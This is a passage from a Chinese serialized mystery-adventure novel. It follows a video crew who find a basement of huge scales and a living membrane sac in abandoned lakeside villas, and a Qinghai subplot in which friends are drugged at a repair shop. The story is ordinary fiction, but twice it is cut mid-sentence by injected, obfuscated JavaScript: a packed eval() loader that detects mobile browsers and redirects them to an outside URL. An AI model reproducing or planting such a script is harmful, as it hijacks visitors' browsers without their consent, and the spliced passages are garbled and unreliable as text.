结果隔天一早,他发现每个人都是一脸疲惫,顶着两个硕大的黑眼圈,在屋里走来走去,好家伙,原来大家昨晚都没怎么睡,这可真是“胆小鬼”聚堆了! 按照原计划,今天团队要跟着潜水教练去周边找找他师父的线索,顺便拍摄,但眼下出了烂尾别墅的事儿,吴沅便跟董教练解释了一番,把时间稍稍往后推了推。 几个人简单吃了点面包,担心一时半会儿回不来,大家又往随身的背包里装了一点零食,最后带上拍摄装备就准备出门了。 吴沅一马当先,明明都已经跨门出去了,想了想又退了回来,在屋里四处翻了翻,最后从厨房里拿了把菜刀别在后腰上,想着至少也算有武器傍身,真要发生什么事,也能抵挡一阵,想到这里,他又呼啦一下子把厨房抽屉拉开,把里面大大小小各种尺寸的菜刀都拿了出来,拍在大厅的桌上,让屋里每个人挑一把。 三人看着桌上寒光闪烁的菜刀,又看了看一脸正色的吴沅,便知道他是认真的,心中顿时涌出一股子孤勇悲壮的感觉来,于是各自挑了一把趁手的,也依葫芦画瓢,照吴沅的样子把菜刀别在了后腰上,一切准备完毕,这才出门往外走。 从民宿下到山脚,沿着环湖公路往不远处的山头走,因为目测没多远,他们决定直接走着过去。 太阳刚刚升起,周围的美景又在阳光的浸染下展现出迷人的色彩,唯独山头的那一块,经过昨晚那么一闹,今天再看,总觉得那一块儿都是灰暗斑驳的,带着些诡异不详的气息,而那一栋栋矗立的烂尾别墅就像是一个个身形怪异的兽,白日里静悄悄地伏着,等到夜幕降临,就会张牙舞爪,将好奇的人通通拖入地狱的入口。 俗话所望山跑马死,原本看上去并不太远的距离,硬是足足走了半个来小时才到了山脚,几个人走得后背都湿透了,抬头往山上看,层叠叠的别墅密密排布,像是蚁群一般一路从山脚爬到山头,又沿着山脊翻到了山的另一面。 为了以防万一,吴沅让小悦悦留在了山脚,如果发现有什么问题就立刻报警,剩下的人则穿戴好随身的摄影设备,沿着和缓的山坡,一步步往上走。 这里显然废弃了许久,原本别墅间的道路都被高高低低的野草占据,有的野草长得有一人多高,起子眼睛溜圆地盯着厚密的草丛,担心地问:“这里面不会有蛇吧!” 大志露出一副明知故问的表情:“这里可是云南,这种地方荒草丛生的,没有蛇才怪吧!” 起子顿时紧张起来,嘴角下耷,露出战战兢兢的表情。 好在一路无事发生,几个人悬着的心稍稍放了下来,也有闲心观摩起沿途的别墅来,这些别墅都有四层高,修得富丽堂皇,大部分都已经差不多完工,有的甚至连门窗都已经安好了,就差内部装修了,当初应该是涉及违法乱建,被政府突然叫停,毕竟抚仙湖属于国家一级战略水资源,这些别墅群离抚仙湖实在太近,势必会造成污染。 又走了一段,他们渐渐攀上山路中段,路边出现了一栋还没有来得及安门的别墅,起子非常敬业地提议可以进去拍一拍,反正素材越多越好,吴沅也欣然同意,起子和大志走在前头,吴沅跟在后头,他走了几步突然一回头,这才发现绝美景致竟然就在身后。 浩瀚辽阔的湖面在眼前铺陈开去,远处的湖面像是跟天连在了一起,阳光打在湖面上,蓝莹剔透,波光粼粼,顿时有种舒缓治愈的感觉。 他还没来得及好好欣赏,就被起子和大志的叫声打断。 “头儿,你快进来看看!” 这是有发现了? 吴沅快步跨上台阶,进入废弃的别墅内部,前脚刚落地,脚底就响起一阵细碎破裂的声音,他这才发现地面上散落着一层片状透明的东西,脚一踩上去就碎裂开来,他蹲身捡起一块完好的来看了看,有点像是鳞片,足足有半个手掌大小,三角形,顶头尖尖的。 起子和大志蹲在不远处,每个人手里都拿着一块,正仰头细看,不时还闻闻嗅嗅,吴沅一边琢磨,一边往两人身边走。 “这是什么玩意儿啊?鳞?”吴沅扬了扬手里的东西,满头问号。 “我刚刚闻了闻,有鱼腥味!”起子说得信誓旦旦。 “鱼腥味?这么说是鱼鳞?这么大的鳞,得多大条鱼啊!” 忽然,楼下一阵突兀的裂响,几个人瞬间机警起来,通常这种别墅地下应该还有一层,用来做酒窖和地下影音室。 难道地下有什么东西? “要不要下去看看?” ***** 冷晚晚开着二百八的破车直奔医院。 小马还没有醒,直挺挺地躺在病床上,病房里人不少,除了卓玛和小夭,又多了几个人,一个是住在客栈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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车慢慢停在路边,冷晚晚降下车窗,冲着两人往车里摆了摆头,二百八抱上旺财就钻到了后座,周游原本是想跟之前一样坐副驾的,结果走近才发现副驾上已经坐了一个姑娘,便跟着二百八去了后座。 小夭转过身,看着二百八怀里血糊糊的旺财,一脸震惊:“这狗怎么了?你不会这么丧心病狂,打它了吧?” 这不提还好,一提到这儿二百八就火大,也不知道是哪个天杀的玩意儿,不光上门偷东西,竟然还把他的狗子伤成这样!是可忍孰不可忍! “我怎么可能打它,昨天它发疯咬了我,我可都没舍得打,他这样是被贼打的!是贼!贼!!!” 二百八越说越气,脸上露出凶悍的表情,不停挥舞着拳头,一副要与贼拼到底的样子。 “哦……” 小夭嘴里应着,眼珠子却滴溜溜地在周游身上打转,末了冲着周游挑挑眉毛:“帅哥,你就是二百八那个哥们儿吧?怎么称呼啊?” 本来应付冷晚晚一个姑娘就已经很难,没想到现在又来一个,这姑娘也穿着一身藏袍,看上去不大,身上透着一股古灵精怪的活泼劲儿,周游心里瞬间又打起了鼓,出于礼貌,他还是老老实实回了话。 “周游!” 小夭饶有兴致地看着他,叹道:“哟,这不是我们家冷晚晚最喜欢的类型嘛!” 冷晚晚回头就给了她一记白眼。 小夭不服气:“你翻我干什么,本来就是,你之前的男朋友不都这个类型的吗?” 说完,意味深长地朝着周游笑了笑,问道:“唉,帅哥,你有女朋友吗?” 又来?!! 周游真是内心崩溃,正想着该怎么回话,没想到冷晚晚回头瞟了他一眼,脸上早没了先前的热情和笑意,她抢先一步,冲着小夭说:“他,不行,傻的。” 小夭一听,一脸惋惜地又看了看周游,末了叹了口气:“啧啧啧,这看着也不像啊,可惜了,要不是说呢,现在长得好又有脑子的男人实在不多了,像佟刚那样的,真是打着灯笼也难找……” 周游:“?????” 这这这,什么意思?我特么怎么就不行了?不是,还说他是傻的??傻?excuseme?这特么从哪里看出来的? 他刚准备跟冷晚晚争辩几句,没想到二百八先忍不住了,突然一声暴吼:“现在是闲聊的时候吗?!!咱们得快点去抓贼啊!” “贼呢?在哪儿?”冷晚晚望着四下里广阔的草场,不解地问。 “你就直往前开,我们家旺财记住了那帮人的味道,会指路的!!” “它?行不行啊!” 见旺财的才能受到质疑,二百八简直比自己受到质疑还激动,唾沫星子直喷:“我们家旺财可不是一般的狗!你就算把它扔到南极,它都能一路找回来!” 小夭翻了他一眼:“你就吹吧你!” 冷晚晚一路往前开,不时停下来,让旺财四处闻闻嗅嗅,就这么走走停停,在镇子里绕来绕去,一个多小时后,车开到了一家修车铺的门口,这修车铺独立建在一块空旷开阔的场地上,四周都是光秃秃的黄土地,显得破旧颓败,修车铺场院的门开着,里头堆着各种汽车的零部件。 车门一打开,旺财就激动地窜了下去,站在修车铺的门口狂吠不止,似乎有些害怕,不敢再往前靠近,二百八一脸狐疑地跟下车,抬头看了看门口“鑫晨汽修”的招牌,广告牌早已腿去了颜色,二百八讶异地张了张嘴巴:“这特么……不是西瓜皮的店吗?” 周游走过来,撞了撞二百八的肩膀,眼神又往院子里指了指,二百八顺着视线看过去,发现院子里停着一辆越野车,细细一看,这特么不是丰田的陆地巡洋舰么。 “这特么……不会真是西瓜皮干的吧!” 一想到竟然是熟人作案,二百八就更气了,甩着膀子,怒气冲冲就往院子里走,一边走一边大嗓门地喊:“西瓜皮,西瓜皮,你给老子滚出来!” 一行人跟着二百八走进院子,那真是气势十足,摆明了是上门找麻烦的,不一会儿,一个中等身材的男人叼着根烟,穿着拖鞋踢踢踏踏走出来,他满身油污,不耐烦地嚷嚷道:“谁啊,谁啊,叫魂呐!” 二百八看了那男人一眼,愣了一下:“你特么是谁?西瓜皮呢?让他滚出来跟老子说话!” 那男人像是有些不爽,挑了挑眉,用手夹住烟,吐了口烟气,下一秒狠狠将烟头扔在地上,暴吼了一句:“我特么是你祖宗!!” 话毕,身后的院子门突然哗啦一声关上了。 **** 11. 老阿婆 抚仙湖,烂尾别墅区。 大志刚提议下去看看,楼下又响起一阵清脆的碎裂声,这次声音更清晰,咔哒咔哒,像脚踩在干枯龟裂的土地上发出的声响,原本安静的空间里突然又来这么一下,三个人都吓了一跳,下意识缩脖缩肩,双臂交叉抱住了自己。 起子不安:“这……真要下去啊?” 说完,眼神讯问地看向吴沅,两人又一齐往墙角的楼梯口看去,那一处黑漆漆的,似乎没有光透上来,看一眼就心里发怵,这里已经荒废了这么久,鬼知道下面有什么东西啊,但又不好意思直说害怕不敢下去,几秒的对视后,两人迅速达成了默契,一致怂恿大志走前头。 起子:“谁提议下去,谁走前头!” 说完,起子和吴沅同时看向一旁的大志。 其实大志胆子也不大,刚刚他之所以提议下去,完全是因为职业素养,考虑到后期账号更新素材缺乏的问题,多点素材总是好的嘛,要不然后期剪辑就只能“巧妇难为无米之炊”了。 但提议的话刚出口,他就后悔了,他们团队这群人个个都是胆小鬼,一到关键时刻肯定谁也顶不上,这不,这俩大男人竟然脸不红心不跳地把他推到了前头,他一脸鄙夷地看了看起子和吴沅,罢了罢了,这俩是指望不上了,整个团队也就他一个纯爷们! 他咬咬牙,暗暗下了某种决心,甩甩身后的背包,调整了一下身上摄影机的拍摄角度,犹如出征的勇士,语调铿锵地说:“我走前面,你们俩跟上!” 大志说着迈腿就往楼梯口走,吴沅和起子连连点头,小碎步跟在后头,楼梯口黑漆漆的,就像一个深不见底的洞口,大志拿出手机打开手电筒模式,往下照了照,楼梯一层层往下,通往黑暗的更深处,他深吸一口气,迈腿就跨了下去。 一步一步向下,他的头顶慢慢没入楼梯口,还没走多远,就感觉四周温度陡然降低,身上凉飕飕的,等走到楼梯一半的位置,地下的潮湿气息裹带着刺鼻的腥臭味一阵阵翻涌而出,这特么……是什么味儿啊? 大志一下子停住脚步,下意识捂住口鼻,紧皱着眉头往后看,只见吴沅和起子还站在楼梯口,狐獴一样伸长脖子往下看,见他回过头来,忙问:“怎么样?怎么样?” 大志捂着鼻子,朝上面招手:“你们下来呀!在上面站着干什么?” 吴沅和起子这才不情不愿往下走,没走几步,就感受到了气温的骤降,身体忍不住一抖一抖,赶忙用手来回搓了搓裸露在外的胳膊,脚下步子不停,很快他们也闻到一阵阵刺鼻的腥臭味。 吴沅这家伙脾胃弱,一时控制不住干呕起来,一边呕一边口齿含混地问:“这特么是什么味儿?!” 起子捏着鼻子,瓮声瓮气地说:“这不就是鳞片上的鱼腥气嘛!就是味道浓了一些!” “不行了,这也太味儿了!” 吴沅捂住口鼻,又是一阵干呕,呕到后来就几乎直不起腰来,起子和大志一脸同情地看他,心想着咱们身娇肉贵的boss这次出来可真是受罪了,眼见着他从裤兜里掏出一包纸巾,揪拽下一坨,捻搓成条堵住鼻孔,等两个鼻孔都堵住了,才慢慢缓过来,长舒了一口气。 下去的楼梯还有一截,大志猫低身子,拿着手机,探出胳膊往下照了照,手机的光亮刚打出去,一阵银白色的光迅速从楼底反射出来,刺得几个人眼前一花,赶忙偏过头去。 “这特么……又是什么啊?!” 大志心里好奇,眯着眼睛紧盯着脚下,试探地往下走了两步,眼见着就要到底,一抬头,地下室里的景象瞬间展现在他眼前,他眼睛陡然睁大,脊背僵直地站在原地,嘴巴张了张,半天都没说出话来。 “怎了啦?” 起子和吴沅看出大志有些异常,赶忙快步跟过去,眼睛一扫,脚下也是一顿,瞬间被眼前的景象惊呆了! 层层叠叠的鳞片堆满了整个地下室,足足有一米来深,连地下室的门都被堵了一半,手机的光打出去,银白色的光就从四面八方射过来了,颇有点蹦迪时的灯光效果,看上去蔚为壮观,像厚积的雪花,又像某种装置艺术,细看让人有一种奇妙的颤栗感。 几人都拿着手机往地下室里各个方向照了照,这才发现鳞片堆积的方式有些诡异,四周高,中心低,总体呈一个圆形下凹的锅底形状,他们站在被鳞片堵住的地下室门口,垫脚往低凹处照了照亮。 突然,又有发现!只见最低凹处躺着一个东西,圆滚滚的,手机的光打过去,一汪水亮。 三个人互看了一眼,一时不知是该进还是该退,进去吧,有点害怕,不进去吧,心里又着实有些好奇,跟猫抓似的,直痒痒。 “怎么办?进不进去看一眼?”大志问。 吴沅盯着那一处看了好一会儿,又拿起手机四处照了照,确信周围除了堆叠的鳞片,再没别的东西,于是一咬牙:“来都来了,进去看看!不行,咱们马上就撤!” 也许是实在好奇,想要快点看清那东西,这次吴沅竟一马当先,双手攀住门口的鳞片,腰腹用力上纵,三两下就爬了上去,大志和起子紧跟在他身后,费劲扒拉地爬了上去。 地下室空间已被鳞片占去了大半,上面剩下的空间不高,几个人只能蹲低着身子,一点点往里挪,脚下的鳞片都密密实实地叠在一起,每踩一下就会发出脆裂的声响,等几个人挪到凹陷处的边沿时,大抵是因为里面的鳞片较为新鲜的缘故,脆裂声渐渐没了,取而代之的是一些像鸡蛋清似的粘粘黏黏的液体,手摸到沾手上,脚踩到沾脚上,味道又腥又臭,脚踩上去又滑又黏,稍有挪动,就会止不住打滑。 吴沅想要用核心力量保持脚底平衡,但脚下实在太滑,他的脚根本就不听使唤,正当他小心翼翼往中心处的弧面挪移的时候,身体突然失控,率先从顶上溜了下去,大志和起子紧随其后,像坐滑滑梯似的,咚咚咚三声,三人齐齐整整地溜滑到低凹处,猛地撞到一起,一时之间哀嚎不断。 屁股在鳞片上搓磨的几乎起火,一阵阵火辣辣的疼,也已然顾不得。 “我靠,起子你压我腿了!你大爷的,快点挪开!”大志骂道。 “头儿,我只想知道这摔坏了算不算工伤啊!呜呜呜呜!”起子哭唧唧。 吴沅哪有功夫管他们,他的尾椎骨被大志撞到,膝盖上又挨了起子一脚,正疼得龇牙咧嘴,半天起不来,忽听到起子用瑟瑟发抖的声音喊他:“头儿,快看!” 吴沅揉着屁股,往起子的方向看了一眼,这才发现那一汪水亮就在他们身侧半米远的位置,他立马调整了一下身上已然被摔歪的摄像装置,既然好不容易来一趟,也不能白来,至少要拍点有用的东西回去。 那东西像是一个椭圆形的水球,比行李箱略大一点,里面似乎有水,用亮光打上去水汪汪的,几个人慢慢爬起来,小心翼翼靠过去,又非常谨慎地绕着走转了一圈,只见那东西一半松松垮垮地覆着鳞片,看上去将掉未掉的样子,另一半则被一种微透的膜包裹着,就像鸡蛋内侧的那种膜,不过要更透亮一点,能看到膜下的液体,液体之下还有黑乎乎的一团东西,但看不太真切。 几个人表情愕然地看着眼前的东西,地下室本来气温就低,这下几个人后背、脚底、脑瓜顶都一片寒凉,像是直接把冰水哗哗从头浇下,胳膊上起了一层鸡皮疙瘩。 起子的声音越来越抖:“这特么是什么东西啊?” 吴沅大着胆子凑近,用手机的光亮对着那东西照了照,突然,膜下黑乎乎的东西动了一下,接着外层松垮垮的鳞片就又滑掉了几片下来,几个人吓得一激灵,赶忙往后退。 “这东西是活的!”起子几乎要哭了。 “它是不是在退鳞啊,跟蛇蜕皮一样……”大志说着,想起了蛇蜕皮的样子,浑身控制不住地一阵哆嗦。 吴沅眼睛一眨不眨地盯着那东西看,心想着真是世界之大,无奇不有,这特么到底是个什么玩意儿啊?!! “那黑色的,我看像毛发……这特么不会是异形吧……呜呜呜呜……” 起子好恨自己的眼睛,为什么控制不住要去看,他这人胆子小,但是就爱看各种欧美科幻恐怖片,这下可好,各种恐怖的场景和记忆全部在这一刻联系起来了,他觉得自己都要吓得尿裤子了。 他说完,所有人都沉默了,这样的场面谁之前见过啊?谁能知道那玩意儿是什么?偌大的地下空间一时间静悄悄的,只有脚下粘黏的拉扯声,还有几个人砰乱的心跳声,突然一阵手机震响,吓得几个人差点魂飞魄散。 吴沅尴尬地晃了晃手里的手机:“不好意思,是我手机响了……” 一看屏幕来电显示,是小悦悦打来的电话,难道山下出事了? 吴沅赶忙按了接通键,小悦悦的声音听上去有点着急:“头儿,你们还好吧?” 吴沅尽量平和地说:“还好,怎么了?” “你还记得昨天那个卖小吃的阿婆吗?她要跟你说话,说是很急!” “哈?” 吴沅一时间有些懵,还没等他说下一句,那老太太就接了电话,急吼吼地说:“你们快点下来,不管看到了什么,听到了什么,赶紧下来!” 老太太的语气不容置疑,几乎是命令。 ******** 青海,鑫晨修车铺。 二百八刚叫嚣了两句,对方就开始耍狠,铁门关得猝不及防,小夭下意识紧紧挽住冷晚晚,两人紧紧靠在一起,周游警惕地看着四周,生怕那男人会有下一步的动作,末了扭头看了她们俩一眼,用口型冲着她们说:“不要慌!” 冷晚晚没好气地回了他一眼,心想谁慌了,你姑奶奶我才没慌呢! 二百八天不怕地不怕,眉毛一拧,冲着男人冷哼一声:“呵,你这特么是要关门打狗?” 说完,见身后几个人满脸黑线,一脸无语的模样,细细一想才回味过来自己说法有误,没威胁到别人倒是先骂上了自己,于是赶忙改口:“你关门干什么?找打啊!” 他话音刚落,就听到旺财的吼叫声,刚刚关门太过突然,旺财被关在了门外,过了好一会儿,它才意识到自己跟主人分开了,瞬间着了急,在外面冲着铁门狂吠不止,二百八在里头高声安抚:“旺财没事儿,等老子给你报仇啊!” 二百八一边刻意露出凶悍的表情,一边撸袖子,耀武扬威般的露出壮硕的胳膊,那气势就跟鲁智深要倒拔垂杨柳似的。 周游见情况不妙,想着人生地不熟的,实在不宜把局面搞僵,毕竟不知道对方到底有什么意图,这样莽撞行事太容易吃亏,于是一把拉住不停炫耀肱二头肌的二百八,冲着那男人和缓说道:“哥们儿,咱们有事儿说事儿,我这兄弟就一张破嘴,你别介意,咱们有什么误会现在就说说,等说清楚了也就没事儿了……” 结果周游这边话音刚落,就听见旺财几声厉声尖叫,叫得很是哀婉凄惨,像是被人捉住了,之后又可怜巴巴地吭吭唧唧了几声,就没动静了。 二百八顿时急了眼:“你特么要对旺财做什么?” 说着三步并作两步,朝着男人就冲过去,只见那男人轻蔑一笑,伸手一扬,院子里突然兜头罩下来一张大网,几个人还来不及反应,就被网在院子里,随后从屋里闪出几道人影,一人手里拿条白帕子,按住几个人就捂嘴。 二百八惊慌失措,暗道不好,对方人多势众,只能硬梗着脖子骂骂咧咧;小夭和冷晚晚挣扎得厉害,又是咬又是踹也无济于事;周游身上的伤还没好透呢,也不敢太用力挣扎,见这些人似乎并不存心下死手,便知道并不想伤及他们的性命,索性放弃挣扎,让他们捂了。 几分钟后,网子里的人都白眼一翻,晕死了过去。 ******* 二百八迷迷糊糊醒来时,一睁眼就看到房梁上用几根长杆搭着一块彩色油布,这房子年代久了,屋顶老有沙土漏下来,有时候睡着觉都能吃一嘴沙,他为了省吊顶的钱,自个儿买了块油布,凑活着弄了弄。 等一等,这特么……这特么不是我家吗? 他瞬间就清醒了过来,一骨碌从床上爬起来,发现边上还躺着一个人,他甩了甩晕乎乎的脑袋,又眨巴眨巴了眼睛,凑近看了看,是周游。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319313|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这特么到底是怎么回事啊?怎么又回来了? 他摇了摇周游:“周游,周游,快醒醒!” 摇了好一会儿,周游才皱着眉头醒过来,他感觉脑子里昏昏沉沉的,还一抽一抽地疼,他迷迷瞪瞪地看了一眼二百八,又茫然地向着四周看了看,问道:“这什么地方啊?” 二百八晃晃悠悠站起来,就要往外走,结果腿一软,撞到了对面的墙上,二百八扶着墙缓了一会儿,才又试着往外走,走到房门口探身往外看了看,院子里一切都很熟悉,旺财也安安静静地躺在雨檐下的狗窝里,没错这里是他家,他回头看向周游:“这里是我家!” “啊?” 周游扶着床沿坐起来,一脸懵怔地看向二百八:“我们怎么又回来了?等会儿我想想……我们明明去了一个修车铺……” 他说着说着,突然意识到什么,蓦地站起身来,语调急迫地问:“那两个姑娘呢?” “没看到,院子里也没有!” 周游摇摇晃晃跑出去,把二百八撞得一个趔趄,差点摔倒在地,他在院子里找了找,没人,又去厨房看了看,没人,最后又跑到门脸的小屋子里看了看,还是没人,见二百八的车还好好停在门口,周游趴在车窗上往里看了看,也没看到人,他魂不守舍地冲进冲出,最后着急地冲着二百八喊:“没人!找不到人!报警!咱们报警!” 他说着就去兜里摸手机,结果摸来摸去摸了个空,见鬼,手机没了! “二百八快点看看你手机还在不在?咱们得赶紧报警!” 鬼知道那帮男的会对两个姑娘怎么样,周游越想越后怕。 二百八一边往外走,一边摸口袋,也是空的,根本没有手机的影子,他刚想回屋里看看是不是掉床上了,就看见房门上贴着的字条。 “周游,你过来,房门上有东西!” 二百八说着从门上扯下了一张字条,上面写着几个大字——“人无虞”。 二百八有些看不明白,歪头看周游,问:“这啥意思啊?” “就是说人没事,你不是读过大学吗?这都不知道?” 二百八尴尬地笑笑:“那时候不是心思都不在学习上么,而且后来我还退学了……” 周游懒得跟他说,拿过字条细细看了看,只见字体苍劲有力,笔锋颇为潇洒不羁,一看就不是出自修车铺那个满身油污的男人之手,难道是有另一拨人把她们带走了? “那这下怎么搞?”二百八问。 周游低头想了想说:“你有那两个姑娘的电话吗?” 二百八头摇得像拨浪鼓。 “那你能想方法搞到她们的手机号吗?” 二百八想了想说:“这个我可以想办法,先打给她们民宿的老板娘,跟老板娘要到冷晚晚的手机号。” “行,你的手机还在吗?我的不见了,不知道是被别人拿走了,还是中途掉哪儿了……” 二百八又转身回屋里寻了寻,还是没找到,看来两个人的手机都没了,实在没办法,两人只好出门,去街上的小商店里借了老板的电话,一波三折之后,终于拿到了冷晚晚的手机号,赶紧打过去,电话倒是通了,但是一直没人接,又打了一阵就关了机。 “会不会出什么事啊?”二百八有些担心。 周游神色凝重:“看这帮人的行事风格应该不是想取命的,要不然也不会把我们送回来,只是……他们到底想干什么?” ******** 小夭和冷晚晚一直躺在床上昏迷不醒,佟刚站在玻璃窗前不时回头看一眼,神色十分担心,末了不放心地询问一旁窝在沙发里打游戏的邋遢男人。 “怎么回事,怎么还不醒?不会出什么问题吧?” 男人连眼皮都没抬,翘着个二郎腿,拖鞋挂在脚尖上晃啊晃,他眼睛死盯着手机屏幕,慢悠悠说道:“你放心,我按照你的吩咐办的,这俩姑娘的用量至少都减了一半,不可能出事!” 佟刚还是不放心:“要是他们搞错了呢!那时候情况混乱,他们要是捂错了呢!” 那男人终于停下手里的游戏,探身推了推面前的玻璃杯:“我说了,要想让她们快点醒,这玩意儿最好使!” 佟刚盯着桌上的玻璃杯看,杯子里还装着半杯水,因着男人刚刚的动作,杯子里的水晃了晃,差点泼出来, 用水泼冷晚晚和小夭?这不要了他的命么,这俩姑奶奶他可不敢惹,要是用水泼她们,醒了非得闹翻天不可!!那……那场面佟刚真是想都不敢想…… 见佟刚不愿尝试,那男人便又靠回沙发里,语调懒懒地说:“那没办法,继续等着呗!” 佟刚看了男人一眼,冷冷说道:“那你出去吧!修车铺那边处理干净,后续有事我再跟你联系!” 男人抬起眼皮看了佟刚一眼,歪嘴笑了笑,关了游戏界面,不声不响地起身出去了。 佟刚又转身往后看了看,叹了口气,几步走到床边,定定地看着两个睡脸沉静的姑娘,心想着这俩睡着的时候倒是挺安静,醒了可就要大闹天宫了,唉,想着就心里发慌。 就在这时,冷晚晚搁在床边桌上的手机突然响了,连震带响的,吓了佟刚一大跳,他拿起来看看,是一串未知号码,他本不想理,结果那号码十分执着,不停打来,佟刚索性给嗯关了机。 冷晚晚是天快黑的时候才醒的,屋里就床头灯亮着,她迷迷糊糊看到窗边站着一个人,灯光将那人的背影打得模糊而虚幻,她支起身子,警惕地问:“你是谁?” 那人赶忙转身,快步朝着床边走来,冷晚晚下意识往后缩了缩,等那人走得近了,冷晚晚才一脸惊讶地说:“佟刚?你怎么会在这里?” 佟刚拖了把椅子,搁在床边坐下,笑了笑说:“这个就说来话长了,大爷刚好放我假,我想着来青海玩玩,没想到就这么遇到了你们……” 冷晚晚看了看一旁躺着的小夭,满脸疑惑:“你是在哪儿发现我们的?我记得我们之前明明跟二百八他们在一个修车铺里……” “修车铺?什么修车铺?” ***** 12. 真相迷雾 冷晚晚做了一个冗长的梦。 梦里,她走在干涸的大地上,四下里望去都是光秃秃的黄土戈壁,苍凉贫瘠,迎面的风干燥粗糙的像砂纸,卷起的沙土铺天盖地,她下意识眯起眼睛。 转着圈望向四周,除了被太阳晒到泛白的大地,就是湛蓝如洗的天空,没有活物,也没有人迹。 她像一个迷路的背包客,漫无目的地走着,狂风和烈日轮番攻击,身上的汗干了湿,湿了又干,在皮肤上凝成一层白色的晶体颗粒。 身体越来越沉,可眼前的戈壁似乎永远没有尽头,她疯了一般崩溃大喊:“到底什么时候才能走出去!!!” 也许是上天怜悯,就在咸涩的眼泪滑落嘴角,一抹盈蓝色瞬间点亮了眼眸。 水!是水! 也顾不得分辨是真实还是虚幻,冷晚晚激动地几乎发了狂,一路尖叫着连滚带爬地奔过去,水域辽阔,呈碧蓝色,像纯净的蓝宝石一般镶嵌在戈壁深处,她没有丝毫犹豫,一个助跑跳跃,噗通一声,一头扎进水里。 神秘的蓝色瞬间填满了瞳孔,那片水域清澈透亮,似乎还带着薄荷般的清爽凉意,她像一条撒欢的鱼,无拘无束地在水下畅游,一会儿快,一会儿慢,一会儿旋转,一会儿定住,眼前的碧波万顷就像一个梦幻世界,隔绝了干燥的戈壁和粗糙的季风。 她一时兴起,想要潜到更深处看看。 倒转身体,笔直下潜,也不知道潜了多久,这片辽阔水域就像一个无底洞,始终探不到底。冷晚晚很意外,竟然还有冷家潜不到底的水域,这瞬间挑起了她的征服欲,她不信,也不服气,非要潜下去看个究竟! 不断摆动身躯,垂直下潜,游啊游,就在快要到达她的下潜极限时,目光尽头突然出现了一个个光点,密密麻麻,一闪一闪,等靠得近了,才发现那些光点竟是一个个的人,像游鱼般不停摆动着身体,浩浩荡荡,就像一场盛大的聚会。 冷晚晚心里咯噔一下,那些……是人吗?如果是人,没有冷家闭气下潜的天赋异禀,怎么能在这么深的水里游来游去?如果不是人,他们又是什么? 正疑惑,那些人突然齐齐回头看她,眼中都闪出一种奇异的光彩,就像贝壳光滑内里折射出的斑斓光芒,下一秒,像是感知到她带来的威胁,一个个目露凶光,齐齐调整身姿,龇牙咧嘴向她扑过去。 冷晚晚见势不对,转身就逃,偶然回头看了一眼,只见那群人身上竟然有光斑一闪一闪,定睛一看,才发现那些人身上竟然长着密密麻麻的鳞片,游动间,鳞片反射出银白色的光来。 不!不是人!! 冷晚晚只觉一股寒流从脚底直冲脑门,但此刻不容她多想,稍微晃神就会被后头的那些“怪物”迎头赶上,她便奋力地往另一侧游去。 没游多远,周围的水流突然起了变化,水底涌出一股极大的吸力,似乎是想要把所有的东西都一吞而尽,冷晚晚猝不及防,瞬间被水流裹带着坠了下去。 一时间天旋地转,冷晚晚被水流搅荡的不辨方向,身体完全不受控制,只觉得水底世界瞬间倾倒,几秒之后,一个黑洞洞的洞口赫然出现在水底,洞口一周都有碧玉栏杆围着。 冷晚晚突然惊觉,这难道就是传说中的井? ********* 冷晚晚看着佟刚,愣了好一会儿,她眉头微蹙,眼睛一眨不眨地看着眼前的人,眼中带着审视的意味,佟刚那些没有逻辑的解释不足以说服她。 佟刚坐在床边,表面看似镇定,眼底却掩饰不住地慌乱。 佟刚这人长得高大壮实,平时也不苟言笑,总给人一种人狠话不多的错觉,但他有个致命弱点——对女人这种生物一点办法也没有。 尤其是对冷晚晚和小夭。 冷晚晚呢,是冷家独苗,与冷家相关的人都得让她三分,别看她平日娇美柔和的样子,但喜怒多变,要是一不小心惹了她,那就自求多福吧,她会想着法儿地还回去!就那一双大眼跟激光刀似的,恨不得能把人戳出几个窟窿来,也不光佟刚,冷家上下谁不怵她? 至于小夭嘛,算是跟佟刚有些单方面的情感纠葛,这丫头从小就审美独特,一门心思想跟佟刚好,她对他的爱慕直白坦荡,毫无顾忌,什么都敢做,什么都敢说,也不管佟刚回不回应,这事儿周边的人差不多都知道,还经常拿这事儿打趣,搞得佟刚很是烦恼。 反正小夭这丫头佟刚完全应付不了,别看他挺大一老爷们儿,每次见面,心里都害怕得要死,因为完全无法预知小夭下一步会对他做什么,不是有句俗话嘛,恐惧是因为未知,这句话用在这里很合适。 一个冷晚晚再加上一个小夭,这简直是要了他老命了,这两人要是一起发作,他光想想就后背发凉,不过也管不了那么多了,青海现在情况复杂,要是没处理好,让这两个丫头遭了难,实在没法儿跟冷家人交代,再者,现在事情还没有眉目,冷柏山的意思是绝不能让冷晚晚知道这些乱七八糟的事。 他也是纳闷了,青海这么大的地方,怎么就能在修车铺里狭路相逢了呢? 他想来想去都想不通,最后只能归咎于自己点儿背,有句话怎么说来着,人要是倒霉起来,连喝凉水都塞牙,说得就是他。 为了能够平安度过眼下的“劫”。他已经想了一晚上的蹩脚借口,脑袋上的头发都快薅秃了,结果连他自己都糊弄不过去,最后只能一咬牙一闭眼,硬演了。 冷晚晚沉下脸,厉声质问:“佟刚,你别拿乱七八糟的理由来搪塞我……我不是傻子,没那么好糊弄……跟我说实话,到底发生了什么事儿,这里又是什么地方?” 她眉眼像刀一般横扫过去,佟刚只觉得浑身汗毛发炸,顿时坐立难安,眼神躲闪着不知该如何开口。 见他迟迟不开口,冷晚晚眼睛一横,带着劲力突然朝他一伸手,佟刚吓得几乎是下意识反应,赶紧缩头缩脑往后躲。 “你躲什么,我又不打你!” 